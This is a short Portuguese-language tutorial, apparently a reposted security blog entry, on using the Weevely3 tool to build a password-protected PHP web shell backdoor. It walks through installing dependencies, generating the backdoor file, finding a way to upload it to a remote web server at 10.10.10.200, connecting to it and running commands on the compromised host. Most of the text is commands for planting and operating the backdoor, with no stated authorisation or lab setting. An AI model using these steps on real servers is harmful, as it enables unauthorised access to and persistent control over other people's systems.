WEEVELY — Web Shell Backdoor
0
0

WEEVELY — Web Shell Backdoor

Marcos Henrique
0 min
0
0
Email image

O WEEVELY é uma ferramenta desenvolvida em Python que permite que um Backdoor seja gerado no formato .php e se executado em um host remoto pode obter o console do sistema.

Projeto : weevely.sourceforge.net

01 — Passo

Instale alguns pacotes de dependências.

apt-get install g++ python-pip libyaml-dev python-dev

Email image

02 — Passo

Atualize/Instale alguns pacotes Python.

pip install prettytable Mako pyaml dateutils readline PySocks –-upgrade

Email image
Email image

03 — Passo

Realize o download do Weevely3.

git clone https://github.com/epinna/weevely3

Email image

04 — Passo

Entre no diretório do weevely3 liste os arquivos.

cd weevely3/ls -l

Email image

05 — Passo

Execute a ferramenta weevely.py para gerar o backboor com a senha.

./weevely.py generate 100security arquivo.php

100security — Senha do arquivo.
arquivo.php — Backdoor

Email image

06 — Passo

Pesquise no servidor web do host remoto 10.10.10.200 uma forma de fazer o upload do backdoor arquivo.php.

Email image
Email image
Email image
Email image

07 — Passo

Execute a ferramenta weevely.py novamente informando o caminho completo do backdoor enviado.

./weevely.py http://10.10.10.200/enviar/arquivos/arquivo.php 100security

Email image

08 — Passo

A conexão é realizada no servidor remoto com sucesso!

weevely>

Email image

09 — Passo

Digite o comando :help para visualizar a lista de comandos disponíveis.

weevely> :help

Email image
Email image

10 — Passo

Digite o comando cd para acessar os diretórios do servidor remoto.

weevely> cd

Email image

11 — Passo

Digite novamente o comando :help para visualizar a lista de comandos disponíveis.

$ :help

Email image

12 — Passo

Digite o comando :system_info para visualizar as informações do sistema.

$ :system_info

Email image
Email image

13 — Passo

Digite o comando cd / para entrar no diretório raiz do sistema.

cd /

Email image

14 — Passo

Digite o comando ls -l para listar os diretórios.

ls -l

Email image

15 — Passo

Visualizar o conteúdo do arquivo interfaces para certificar que esta no servidor remoto.

cat /etc/network/interfaces

Email image
Email image

Fonte: https://www.100security.com.br/weevely